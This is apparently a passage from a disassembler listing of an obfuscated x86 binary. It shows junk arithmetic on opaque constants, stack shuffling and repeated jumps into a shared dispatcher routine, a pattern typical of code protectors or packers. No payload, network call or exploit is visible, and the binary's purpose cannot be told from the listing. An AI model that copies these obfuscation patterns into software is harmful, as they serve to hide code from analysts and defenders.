		jmp	loc_59205D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59015A:				; CODE XREF: sdfs____:0058E5DBj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59015F:				; CODE XREF: sub_591370+2447j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58DE0B
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA0A


loc_59016D:				; CODE XREF: sub_58FA0A+2310j
		sub	edx, eax
		pop	eax
		mov	ecx, [esp+0]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, 3AE516B9h
		add	ecx, esi
		jmp	loc_592FE8
; END OF FUNCTION CHUNK	FOR sub_58FA0A
; ---------------------------------------------------------------------------


loc_59018F:				; CODE XREF: sdfs____:0058C4E6j
		mov	[esp], esi
		mov	esi, 47A52A1Dh
		jmp	loc_598046
; ---------------------------------------------------------------------------


loc_59019C:				; CODE XREF: sdfs____:0059049Dj
		pop	edx
		push	edx
		mov	dl, 90h
		sub	al, dl
		pop	edx
		mov	bl, al
		pop	eax
		jmp	loc_592A99
; ---------------------------------------------------------------------------


loc_5901AB:				; CODE XREF: sdfs____:00598316j
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		push	5994h
		mov	[esp], ecx
		jmp	loc_58DDBD
; ---------------------------------------------------------------------------


loc_5901BE:				; CODE XREF: sdfs____:loc_596A1Ej
		jmp	loc_58D53A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_5901C3:				; CODE XREF: sub_590561+2A23j
		add	dx, 934Ch
		jmp	loc_5907D0
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		jmp	loc_590950
; ---------------------------------------------------------------------------


loc_5901D4:				; CODE XREF: sdfs____:00591E1Aj
		push	ebx
		push	eax
		mov	eax, 0BF101B3h
		xor	eax, 0BF101B1h
		jmp	loc_58D9C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_5901E5:				; CODE XREF: sub_5BB696-2F9F5j
		mov	bh, 0C6h
		mov	ah, 32h
		sub	ah, bh
		pop	ebx
		add	bl, 0C1h
		add	bl, ah
		sub	bl, 0C1h
		pop	ax
		push	3CF1h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 3FCh
		add	edi, ecx
		mov	ecx, [esp+1Ch+var_1C]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	eax
		jmp	loc_591C9E
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_590216:				; CODE XREF: sdfs____:00591841j
		push	1F5Dh
		mov	[esp], ecx
		jmp	loc_592207
; ---------------------------------------------------------------------------


loc_590223:				; CODE XREF: sdfs____:0058FA00j
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 13933BC8h
		neg	ebx
		shl	ebx, 6
		xchg	edx, ebx
		jmp	loc_592229
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59024A:				; CODE XREF: sub_591435-252j
		add	edi, eax
		pop	eax
		push	ecx
		push	ebp
		mov	ebp, 27F34B6Eh
		dec	ebp
		jmp	loc_5928FE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59025A:				; CODE XREF: sub_591370-24F1j
		jmp	loc_593566
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59025F:				; CODE XREF: sdfs____:0058C536j
		neg	ecx
		neg	ecx
		shl	ecx, 8
		neg	ecx
		jmp	loc_59249A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59026D:				; CODE XREF: sub_591435-5A45j
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		push	ebx
		jmp	loc_592A6E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59027C:				; CODE XREF: sdfs____:0058C81Aj
		not	eax
		inc	eax
		sub	eax, 1
		sub	eax, 162FDAB2h
		and	edx, eax
		pop	eax
		dec	edx
		jmp	loc_595239
; ---------------------------------------------------------------------------


loc_590290:				; CODE XREF: sdfs____:0058CF7Cj
		mov	ebp, edi
		pop	edi
		shl	ebp, 8
		jmp	loc_5962C4
; ---------------------------------------------------------------------------


loc_59029B:				; CODE XREF: sdfs____:0058C65Aj
		mov	ebp, 0F8B9C9BEh
		xor	ebx, ebp
		jmp	loc_59495B
; ---------------------------------------------------------------------------


loc_5902A7:				; CODE XREF: sdfs____:00595E97j
		mov	esp, [esp]
		jmp	loc_59001F
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5902B8:				; CODE XREF: sdfs____:00597C54j
		sub	esi, 22BC35F4h
		jo	loc_59098B
		or	esi, 47D80BDBh
		sub	esi, 59F662B6h
		not	esi
		or	esi, 5AD50CE8h
		jg	loc_591159
		dec	esi
		shr	esi, 4
		js	loc_59036F
		add	esi, 0F2400615h
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_598B66
; ---------------------------------------------------------------------------


loc_5902FF:				; CODE XREF: sdfs____:00594BE0j
		sub	ebx, edi
		pop	edi
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_590307:				; CODE XREF: sdfs____:0059684Bj
		mov	ecx, 67751DF1h
		not	ecx
		shr	ecx, 7
		and	ecx, 445D5AF3h
		jmp	loc_595476
; ---------------------------------------------------------------------------


loc_59031C:				; CODE XREF: sdfs____:00591347j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6ACF4896h
		jmp	loc_592EE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59032A:				; CODE XREF: sub_5962EB-46C4j
		sub	ebx, 4CC11BFBh
		xchg	ebp, ebx
		jmp	loc_592BCD
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_590337:				; CODE XREF: sdfs____:00592D99j
		push	12A5h
		mov	[esp], ebx
		push	2F66h
		push	esp
		pop	dword ptr [esp]
		push	eax
		push	edi
		push	302E0922h
		pop	edi
		and	edi, 3B5D3B15h
		ja	loc_59052C
		xor	edi, 0ADF1000h
		jmp	loc_598BB8
; ---------------------------------------------------------------------------


loc_590367:				; CODE XREF: sdfs____:00594EEFj
		mov	edx, [esp]
		jmp	loc_5951D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59036F:				; CODE XREF: sdfs____:005902E2j
					; sub_591435+6045j
		jmp	loc_58E690
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	eax
		push	7643h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_58C1D4
; ---------------------------------------------------------------------------


loc_590392:				; CODE XREF: sdfs____:00591C99j
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5978B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_5903A1:				; CODE XREF: sub_58BC4E+34E1j
		add	esp, 4
		jmp	loc_591029
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_5903AC:				; CODE XREF: sdfs____:0058F9CBj
		or	edx, ebp
		pop	ebp
		jmp	loc_595264
; ---------------------------------------------------------------------------


loc_5903B4:				; CODE XREF: sdfs____:00595420j
		jge	loc_595CB1
		and	esi, 13866692h
		jmp	loc_59205D
; ---------------------------------------------------------------------------
		or	al, 6
		pop	eax


loc_5903C8:				; CODE XREF: sdfs____:loc_5959CFj
		add	eax, 4CC5AE2Dh
		shl	eax, 8
		push	ebx
		mov	ebx, 7FDA2E6Eh
		sub	ebx, 714925C1h
		sub	eax, 1B4A4F43h
		sub	eax, ebx
		add	eax, 1B4A4F43h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_598A27
; ---------------------------------------------------------------------------


loc_5903F3:				; CODE XREF: sdfs____:0058BEEBj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_590406:				; CODE XREF: sdfs____:00595D79j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 276E7C24h
		dec	edx
		not	edx
		push	esi
		mov	esi, 2574109Bh
		add	esi, 7F2252F6h
		jmp	loc_5900E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_590428:				; CODE XREF: sub_591370+66BDj
		push	edx
		mov	edx, 4A9F3908h
		inc	edx
		xor	edx, 69C45E37h
		sub	eax, edx
		pop	edx
		sub	eax, edx
		push	ebp
		mov	ebp, 235B673Eh
		add	eax, ebp
		pop	ebp
		jmp	loc_58E13B
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_590448:				; CODE XREF: sdfs____:0059202Ej
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58DE83
; ---------------------------------------------------------------------------


loc_590456:				; CODE XREF: sdfs____:00591A41j
		push	4
		pop	eax
		sub	ebp, 3FC24F70h
		add	ebp, eax
		push	esi
		mov	esi, 2B0F4530h
		or	esi, 439615ABh
		jmp	loc_592398
; ---------------------------------------------------------------------------


loc_590475:				; CODE XREF: sdfs____:0058EBCAj
		pop	eax
		shl	eax, 5
		jp	loc_598BB3
		jmp	loc_58BB40
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		add	ah, 0EDh


loc_59048A:				; CODE XREF: sdfs____:0058F3BCj
		push	cx
		mov	ch, al
		not	ch
		mov	al, ch
		pop	cx
		or	al, 1Fh
		xor	al, 93h
		push	edx
		mov	dh, 0C2h
		and	al, dh
		jmp	loc_59019C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_5904A2:				; CODE XREF: sub_58E92A+Ej
		sub	bl, ah
		pop	eax
		add	bl, al
		push	small 47A8h
		mov	[esp+0], cx
		push	eax
		mov	ah, 83h
		mov	ch, 0Fh
		sub	ch, ah
		jmp	loc_5900A0
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------


loc_5904BB:				; CODE XREF: sdfs____:00592584j
		xor	esi, [esp]
		jmp	loc_5977B7
; ---------------------------------------------------------------------------


loc_5904C3:				; CODE XREF: sdfs____:0058DDE7j
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_598BE4
; ---------------------------------------------------------------------------


loc_5904D2:				; CODE XREF: sdfs____:00593964j
		pop	edx
		add	eax, edi
		jmp	loc_58F9E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_5904DA:				; CODE XREF: sub_58CDE6+2503j
		pop	esp
		and	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_592FC8
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_5904F8:				; CODE XREF: sub_596F8A-A344j
		mov	edx, 328701E9h
		xor	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		jmp	loc_58CB1F
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------


loc_590508:				; CODE XREF: sdfs____:0058D535j
		mov	[esp], bx
		mov	bh, 7Ch
		sub	al, 87h
		add	al, bh
		jmp	loc_597E72
; ---------------------------------------------------------------------------


loc_590517:				; CODE XREF: sdfs____:0058D6BEj
		mov	bh, 4Bh
		xor	ch, bh
		pop	ebx
		dec	ch
		xor	ch, 94h
		js	loc_58C781
		jmp	loc_592BE7
; ---------------------------------------------------------------------------


loc_59052C:				; CODE XREF: sdfs____:00590356j
		xor	edi, 0ADF1000h
		ja	loc_59265C
		push	esi
		mov	esi, 2521316Bh
		jmp	loc_591BA0
; ---------------------------------------------------------------------------
		lodsd
		push	2532h
		mov	[esp], edx
		push	ecx
		mov	ecx, 4B8D0F4Dh
		mov	edx, ecx
		jmp	loc_58C475
; ---------------------------------------------------------------------------


loc_590559:				; CODE XREF: sdfs____:loc_597C23j
		push	edx
		mov	dl, 87h
		jmp	loc_595221

; =============== S U B	R O U T	I N E =======================================



sub_590561	proc near		; CODE XREF: sub_5987BC-CC1j

; FUNCTION CHUNK AT 005901C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005907D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059085B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591D1F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592F7B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594D10 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597915 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00597D4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598111 SIZE 0000000E BYTES

		push	ebx
		mov	bx, 2E2Ah
		mov	cx, bx
		pop	ebx
		shr	cx, 1
		shl	cx, 3
		sub	cx, 451Ah
		shr	cx, 2
		push	edx
		mov	dx, 2A13h
		push	bx
		mov	bx, 0
		sub	bx, dx
		xchg	bx, dx
		jmp	loc_59085B
sub_590561	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_590590:				; CODE XREF: sdfs____:005969A6j
		or	bh, 0CFh
		jmp	loc_58C2DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_590598:				; CODE XREF: sub_598A21-A050j
		pop	edx
		jmp	loc_5949C2
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59059E:				; CODE XREF: sub_591435-2917j
		xor	edi, 48773CDAh
		sub	edi, 4DA31667h
		add	ebx, 7EAB3A11h
		add	ebx, edi
		jmp	loc_5949E2
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5905B7:				; CODE XREF: sdfs____:005961A0j
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58F156
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5905D7:				; CODE XREF: sub_5917C0+1D12j
		pop	esp
		jmp	loc_590DB9
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5942ED
; ---------------------------------------------------------------------------


loc_5905E6:				; CODE XREF: sdfs____:0059833Bj
		add	esp, 4
		push	ecx
		push	ebx
		jmp	loc_59609C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5905F0:				; CODE XREF: sub_591370+772Bj
		mov	esi, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_596066
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_5905FE:				; CODE XREF: sdfs____:0058D009j
					; sdfs____:0058EB74j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_596158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59060A:				; CODE XREF: sub_591435-3716j
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		push	745Eh
		mov	[esp+4+var_4], ebp
		push	2000000h
		push	[esp+8+var_8]
		pop	ebp
		push	eax
		jmp	loc_58FB66
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_590631:				; CODE XREF: sub_59841F-BCE0j
		dec	ebx
		push	ebp
		mov	ebp, 3FE2375Ah
		jmp	loc_590F59
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_59063D:				; CODE XREF: sdfs____:0058BBC4j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_591BC5
; ---------------------------------------------------------------------------


loc_590658:				; CODE XREF: sdfs____:00597618j
		jmp	loc_594FC3
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58EC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590663:				; CODE XREF: sub_5917C0+5419j
					; sub_5917C0+69B5j
		xchg	ecx, [esp+0]
		jmp	loc_58F668
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_59066B:				; CODE XREF: sub_59369D+5626j
		mov	ebx, 683715Bh
		and	edx, ebx
		pop	ebx
		push	eax
		mov	eax, 446561C3h
		or	eax, 61256FB2h
		or	eax, 36BE7731h
		jmp	loc_596850
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_590688:				; CODE XREF: sub_59576E-6014j
		and	dx, 14B4h
		push	1CCBh
		mov	[esp+4+var_6+2], esi
		mov	si, 6FE6h
		jmp	loc_58F134
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_59069E:				; CODE XREF: sdfs____:00594C3Dj
		sub	dh, al
		pop	ax
		add	dh, 30h
		xor	al, dh
		jmp	loc_58FFCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5906AC:				; CODE XREF: sub_591370+2216j
		dec	dh
		inc	dh
		add	dh, 82h
		dec	dh
		shl	dh, 4
		add	dh, 0C3h
		add	al, dh
		pop	edx
		jmp	loc_594876
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_5906C3:				; CODE XREF: sub_59841F-C026j
					; sdfs____:0058F4D1j
		jns	loc_591926
		add	ecx, 0E44EF5A4h
		add	esi, ecx
		pop	ecx
		pop	ecx


loc_5906D3:				; CODE XREF: sub_591370+2F26j
		jb	loc_597835
		jmp	loc_58E7A6
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_5906DE:				; CODE XREF: sdfs____:005922CFj
		push	dword ptr [esp+4]
		jmp	loc_58CFB1
; ---------------------------------------------------------------------------


loc_5906E7:				; CODE XREF: sdfs____:0059087Aj
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_58E279
; ---------------------------------------------------------------------------


loc_5906FA:				; CODE XREF: sdfs____:0058FA8Cj
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_597E8D
; ---------------------------------------------------------------------------


loc_590705:				; CODE XREF: sdfs____:0058E23Ej
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_59644F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_590716:				; CODE XREF: sub_596F8A-1AB1j
		push	edi
		jmp	loc_58E0F0
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_58F30E
; ---------------------------------------------------------------------------


loc_590730:				; CODE XREF: sdfs____:loc_58CEC4j
		and	ebp, 7FC95306h
		push	eax
		push	esi
		jmp	loc_58ECD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59073D:				; CODE XREF: sub_591435-989j
		pop	edx
		add	bl, cl
		jmp	loc_58C7DA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_590745:				; CODE XREF: sub_594228-B95j
		mov	[esp+22h+var_24+2], edx
		mov	edx, 3EB216A6h
		dec	edx
		push	ebp
		mov	ebp, 62EA029Bh
		sub	edx, ebp
		jmp	loc_595CFD
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_59075B:				; CODE XREF: sub_596736+16DAj
		mov	[esp+8+var_8], ebp
		jmp	loc_59227C
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_590763:				; CODE XREF: sdfs____:005943AEj
		add	edi, 4
		jmp	loc_595C68
; ---------------------------------------------------------------------------


loc_59076E:				; CODE XREF: sdfs____:00596B5Fj
		sub	ebp, 51DB2AECh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_596856
; ---------------------------------------------------------------------------


loc_5907A1:				; CODE XREF: sdfs____:00594315j
		mov	[esp], ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		jmp	loc_58EBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5907B1:				; CODE XREF: sub_5917C0+6FF1j
		add	esi, ebx
		pop	ebx
		sub	esi, 0FA80AA41h
		push	eax
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		mov	edi, eax
		pop	eax
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		push	edi
		jmp	loc_58C120
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_5907D0:				; CODE XREF: sub_590561-399j
		add	cx, dx
		jmp	loc_591D1F
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591397


loc_5907D8:				; CODE XREF: sub_591397+2DBCj
		add	edx, 47A04CCDh
		pop	ecx
		add	eax, edx
		pop	edx
		add	eax, 2
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		ror	[esp-8+arg_4], cl
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5907F6:				; CODE XREF: sub_594228-117Cj
		sub	esi, ebx
		mov	ebx, [esp+26h+var_28+2]
		add	esp, 4
		shl	esi, 6
		shr	esi, 2
		add	esi, 0F18931E4h
		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		pop	esi
		jmp	loc_58BD88
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590819:				; CODE XREF: sub_5917C0+2D06j
		mov	esi, 0CD5123h
		not	esi
		dec	esi
		jmp	loc_58BEDD
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_590826:				; CODE XREF: sdfs____:00592BC8j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_597E4F
; ---------------------------------------------------------------------------


loc_590834:				; CODE XREF: sdfs____:00591EFEj
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_591A40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592F43


loc_59083E:				; CODE XREF: sub_592F43+16j
		mov	ebx, [esp+8+var_8]
		jmp	loc_58BB38
; END OF FUNCTION CHUNK	FOR sub_592F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_590846:				; CODE XREF: sub_594228-6CC7j
		shl	esi, 6
		push	ecx
		mov	ecx, 743E5CDAh
		dec	ecx
		or	ecx, 51960013h
		jmp	loc_58CD51
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_59085B:				; CODE XREF: sub_590561+2Aj
		pop	bx
		jmp	loc_597D4E
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_590862:				; CODE XREF: sub_594228-357Bj
					; sdfs____:00595875j
		pop	esp
		push	ebx
		jmp	loc_58E220
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_590869:				; CODE XREF: sdfs____:loc_58D07Cj
		jmp	loc_594D69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_59086E:				; CODE XREF: sub_59841F-7761j
		sub	al, 0F5h
		sub	al, dl
		jmp	loc_592919
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_590877:				; CODE XREF: sdfs____:00594A58j
		neg	dword ptr [esp]
		jmp	loc_5906E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_59087F:				; CODE XREF: sub_594F18-65Ej
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+arg_0]
		pop	edx
		pop	dword ptr [esp+0]
		jmp	loc_58F967
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_59089A:				; CODE XREF: sdfs____:005916C4j
		xchg	ebp, ecx
		jmp	loc_595F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5908A1:				; CODE XREF: sub_5917C0-EA4j
		not	[esp-4+arg_0]
		pop	esi
		push	edi
		jmp	loc_595A75
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5908AB:				; CODE XREF: sub_591435-4A78j
					; sub_594228+40ACj
		pop	esp


loc_5908AC:				; CODE XREF: sub_592853-54E3j
					; sub_592853+5545j
		push	[esp-6+arg_0+2]
		mov	ebx, [esp+0]
		push	67DBh
		mov	[esp+2+var_4+2], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+2+var_4+2]
		pop	esp
		push	3A37h
		jmp	loc_58DEA8
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_5908D9:				; CODE XREF: sdfs____:00596266j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5921FF
; ---------------------------------------------------------------------------


loc_5908F3:				; CODE XREF: sdfs____:00595F97j
		add	ebx, 63C20FFCh
		add	ebx, edx
		push	ebp
		mov	ebp, 63C20FFCh
		jmp	loc_590E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_590906:				; CODE XREF: sub_5962EB-8538j
					; sdfs____:00593E16j
		mov	word ptr [esp-10h+arg_C], dx
		push	ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590912:				; CODE XREF: sub_5917C0+60F1j
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 12126D99h
		push	esi
		jmp	loc_5908A1
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_590921:				; CODE XREF: sdfs____:0059601Aj
		push	ecx
		push	eax
		mov	eax, 30C113BBh
		mov	ecx, eax
		pop	eax
		jmp	loc_59308A
; ---------------------------------------------------------------------------


loc_590930:				; CODE XREF: sdfs____:0058F3E8j
		neg	dl
		sub	dl, 8Ah
		jmp	loc_597FFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59093A:				; CODE XREF: sub_594228+392Fj
					; sub_594228+4927j
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		jmp	loc_58C310
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_590947:				; CODE XREF: sub_58BAD7+F83j
		add	esp, 4
		push	esi
		jmp	loc_59836E
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------


loc_590950:				; CODE XREF: sdfs____:005901CFj
		mov	ebx, 7855D6h
		push	edi
		mov	edi, 47B76808h
		xor	edi, 60F1505Dh
		or	edi, 26112ED7h
		jmp	loc_58BC11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_59096C:				; CODE XREF: sub_58EB23+310Cj
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		sub	[esp+0], al
		pushf
		jmp	loc_595386
